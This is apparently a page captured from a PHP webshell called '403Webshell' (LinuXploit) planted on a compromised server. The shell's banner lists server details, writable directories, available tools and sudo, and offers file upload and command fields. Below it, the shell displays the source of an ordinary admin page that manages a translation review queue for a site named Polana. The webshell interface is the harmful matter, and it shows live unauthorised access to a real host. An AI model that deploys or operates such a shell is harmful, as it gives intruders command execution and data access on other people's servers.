403Webshell
Server IP : 188.114.96.3  /  Your IP : 216.73.216.143
Web Server : Apache
System : Linux sv058.home.net.pl 6.8.2 husak_dirty_pages_fix #1 SMP PREEMPT_DYNAMIC Tue Apr 2 22:06:51 CEST 2024 x86_64
User :  ( 3194769)
PHP Version : 8.5.12
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : OFF
Directory :  /polana/admin/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /polana/admin/v9-review.php
<?php
declare(strict_types=1);
require_once dirname(__DIR__).'/includes/tklm_v9.php';
require_admin_role();
v9_init();
$error='';
function v95_h($x): string { return htmlspecialchars((string)$x,ENT_QUOTES|ENT_SUBSTITUTE,'UTF-8'); }
if ($_SERVER['REQUEST_METHOD']==='POST') {
    verify_csrf();
    try {
        $action=(string)($_POST['action']??'');
        if($action==='bulk_approve'){
            $ids=$_POST['job_ids']??[];
            if(!is_array($ids))throw new RuntimeException('Nieprawidłowa lista');
            $ids=array_values(array_unique(array_filter(array_map('intval',$ids),static fn($n)=>$n>0)));
            if(count($ids)>120)throw new RuntimeException('Limit 120 zaznaczonych pozycji');
            $ok=0;$bad=[];
            foreach($ids as $id){
                try { v9_approve($id);$ok++; }
                catch(Throwable $e){$bad[]=$id;error_log('v9.5 approve #'.$id.': '.$e->getMessage());}
            }
            $_SESSION['v95_note']='Zatwierdzono '.$ok.'; błędy '.count($bad).($bad?' (ID: '.implode(', ',array_slice($bad,0,10)).')':'');
        } elseif ($action==='approve') {
            v9_approve((int)($_POST['job_id']??0));
            $_SESSION['v95_note']='Tłumaczenie zatwierdzone';
        } elseif ($action==='retry') {
            $q=db()->prepare("UPDATE tklm_v9_jobs SET status='pending',attempts=0,last_error=NULL WHERE id=? AND status='pending'");
            $q->execute([(int)($_POST['job_id']??0)]);
        } elseif ($action==='work') {
            v9_work(1);
        }
        header('Location: v9-review.php',true,303);exit;
    }catch(Throwable $e){$error=$e->getMessage();}
}
// Najpierw gotowe do zatwierdzenia, później oczekujące. Brak automatycznego skanowania historycznych kart.
$stats=db()->query("SELECT status,COUNT(*) n FROM tklm_v9_jobs GROUP BY status")->fetchAll(PDO::FETCH_ASSOC);
$c=['pending'=>0,'review'=>0,'approved'=>0,'skipped'=>0];
foreach($stats as $st){$c[$st['status']]=(int)$st['n'];}
$eligible=(int)db()->query("SELECT COUNT(*) FROM tklm_v9_jobs WHERE status='pending' AND attempts<5")->fetchColumn();
$blocked=(int)db()->query("SELECT COUNT(*) FROM tklm_v9_jobs WHERE status='pending' AND attempts>=5")->fetchColumn();
$jobs=db()->query("SELECT * FROM tklm_v9_jobs WHERE status IN ('review','pending') ORDER BY FIELD(status,'review','pending'),updated_at DESC,id DESC LIMIT 120")->fetchAll(PDO::FETCH_ASSOC);
render_admin_header('Polana — tłumaczenia');
echo '<main style="max-width:1150px;margin:24px auto;padding:16px">';
echo '<h1>Centrum tłumaczeń — automatycznie</h1>';
echo '<p>Jedno kliknięcie: pozostaw tę kartę otwartą. System sam pobiera kolejne teksty i odkłada tłumaczenia do sprawdzenia.</p>';
if(isset($_SESSION['v95_note'])){echo '<p style="padding:12px;background:#edf7ef">'.v95_h($_SESSION['v95_note']).'</p>';unset($_SESSION['v95_note']);}
if($error)echo '<p style="color:#b91c1c">'.v95_h($error).'</p>';
echo '<section style="background:#f4f5f3;border:1px solid #dadeda;border-radius:14px;padding:18px;margin:16px 0">';
echo '<div style="display:flex;gap:10px;align-items:center;flex-wrap:wrap">';
echo '<button type="button" id="v95-start" style="padding:12px 20px;font-weight:bold;background:#27663c;color:#fff;border:0;border-radius:8px;cursor:pointer">▶ Przetłumacz wszystko z kolejki</button>';
echo '<button type="button" id="v95-stop" disabled style="padding:12px 18px;border:1px solid #888;border-radius:8px;cursor:pointer">■ Zatrzymaj</button>';
echo '</div>';
echo '<div id="v95-status" role="status" aria-live="polite" style="margin:12px 0">Gotowe do uruchomienia.</div>';
echo '<progress id="v95-progress" max="100" value="0" style="width:100%;height:14px"></progress>';
echo '<p id="v95-counts" style="font-size:14px">Oczekuje: '. $eligible .' · Do zatwierdzenia: '.($c['review']??0).' · Zatwierdzone: '.($c['approved']??0).' · Błędy: '.$blocked.'</p>';
echo '<small>Przetwarzanie trwa tylko gdy karta jest otwarta i aktywna. Po wylogowaniu lub zamknięciu okna zakończy się po bieżącym żądaniu.</small>';
echo '</section>';
echo '<form method="post" id="v95-bulk">'.csrf_field();
echo '<div style="position:sticky;top:0;background:#fff;padding:12px;border:1px solid #ddd;z-index:3;display:flex;gap:12px;align-items:center;flex-wrap:wrap">';
echo '<label><input type="checkbox" id="v95-all"> Zaznacz wszystkie gotowe na tej stronie</label><b id="v95-picked">0 wybranych</b>';
echo '<button type="submit" name="action" value="bulk_approve" onclick="return confirm(\'Zatwierdzić wybrane tłumaczenia?\')">Zatwierdź zaznaczone</button></div></form>';
foreach($jobs as $j){
 echo '<section style="background:#fff;border:1px solid #ddd;padding:16px;margin:12px 0;border-radius:12px">';
 if($j['status']==='review') echo '<label><input class="v95-pick" type="checkbox" form="v95-bulk" name="job_ids[]" value="'.(int)$j['id'].'"> Wybierz</label> ';
 echo '<strong>'.v95_h($j['entity']).' #'.(int)$j['entity_id'].' — '.v95_h($j['field']).' / '.strtoupper(v95_h($j['lang'])).'</strong> · '.v95_h($j['status']);
 echo '<p><b>PL:</b> '.nl2br(v95_h(mb_substr((string)$j['source_text'],0,1000))).'</p>';
 if($j['status']==='review')echo '<p><b>Tłumaczenie:</b> '.nl2br(v95_h(mb_substr((string)$j['translated_text'],0,1000))).'</p>';
 if($j['last_error'])echo '<p style="color:#a33">'.v95_h($j['last_error']).'</p>';
 echo '<form method="post">'.csrf_field().'<input type="hidden" name="job_id" value="'.(int)$j['id'].'">';
 if($j['status']==='review')echo '<button name="action" value="approve">Zatwierdź</button> ';
 if($j['status']==='pending')echo '<button name="action" value="retry">Ponów</button>';
 echo '</form></section>';
}
$token=json_encode(csrf_token(),JSON_HEX_TAG|JSON_HEX_APOS|JSON_HEX_AMP|JSON_HEX_QUOT);
$initial=(int)$eligible;
$script=<<<'JS'
<script>
(()=>{
 const all=document.getElementById('v95-all');const pick=[...document.querySelectorAll('.v95-pick')];
 const count=document.getElementById('v95-picked');
 const update=()=>{const n=pick.filter(x=>x.checked).length;count.textContent=n+' wybranych';all.checked=!!pick.length&&n===pick.length;all.indeterminate=n>0&&n<pick.length;};
 all.addEventListener('change',()=>{pick.forEach(x=>x.checked=all.checked);update();});pick.forEach(x=>x.addEventListener('change',update));update();
 const start=document.getElementById('v95-start'),stop=document.getElementById('v95-stop'),status=document.getElementById('v95-status'),progress=document.getElementById('v95-progress'),counts=document.getElementById('v95-counts');
 const csrf=__TOKEN__,initial=__INITIAL__;let active=false,failures=0,handled=0,total=initial;
 const sleep=ms=>new Promise(resolve=>setTimeout(resolve,ms));
 function controls(){start.disabled=active;stop.disabled=!active;}
 async function run(){
  if(active)return;active=true;failures=0;controls();status.textContent='Tłumaczenie trwa — nie zamykaj karty…';
  while(active){
   try{
    const response=await fetch('v9-batch.php',{method:'POST',credentials:'same-origin',cache:'no-store',headers:{'Accept':'application/json','Content-Type':'application/x-www-form-urlencoded'},body:new URLSearchParams({csrf_token:csrf})});
    if(response.status===401||response.status===403||response.status===419){throw new Error('Sesja wygasła — zaloguj się ponownie');}
    const raw=await response.text();let data;
    try{data=JSON.parse(raw);}catch(e){throw new Error('Serwer nie zwrócił JSON (HTTP '+response.status+')');}
    if(!response.ok||!data.ok)throw new Error(data.error||'HTTP '+response.status);
    failures=0;
    if(data.busy){status.textContent='Inne żądanie już tłumaczy. Czekam…';await sleep(1100);continue;}
    handled+=Number(data.attempted||0);
    const st=data.stats||{};const remaining=Number(st.pending||0);
    total=Math.max(total,handled+remaining);
    progress.value=total?Math.min(100,Math.round(handled/total*100)):100;
    counts.textContent='Oczekuje: '+remaining+' · Do zatwierdzenia: '+(st.review||0)+' · Zatwierdzone: '+(st.approved||0)+' · Błędy: '+(st.failed||0);
    status.textContent='Przetworzono w tej sesji: '+handled+' / '+total;
    if(remaining===0){active=false;status.textContent='Kolejka ukończona. Odświeżam listę do zatwierdzenia…';await sleep(1200);location.reload();return;}
    if(!Number(data.attempted||0)){active=false;status.textContent='Brak postępu; zatrzymano, sprawdź kolejkę.';break;}
    await sleep(350);
   }catch(e){failures++;status.textContent='Problem: '+e.message+' ('+failures+'/3)';if(failures>=3){active=false;break;}await sleep(2000);}
  }
  controls();
 }
 start.addEventListener('click',run);
 stop.addEventListener('click',()=>{active=false;status.textContent='Zatrzymuję po bieżącej frazie…';controls();});
 window.addEventListener('beforeunload',e=>{if(active){e.preventDefault();e.returnValue='';}});
})();
</script>
JS;
echo str_replace(['__TOKEN__','__INITIAL__'],[$token,(string)$initial],$script);
echo '</main>';
render_admin_footer();

Youez - 2016 - github.com/yon3zu
LinuXploit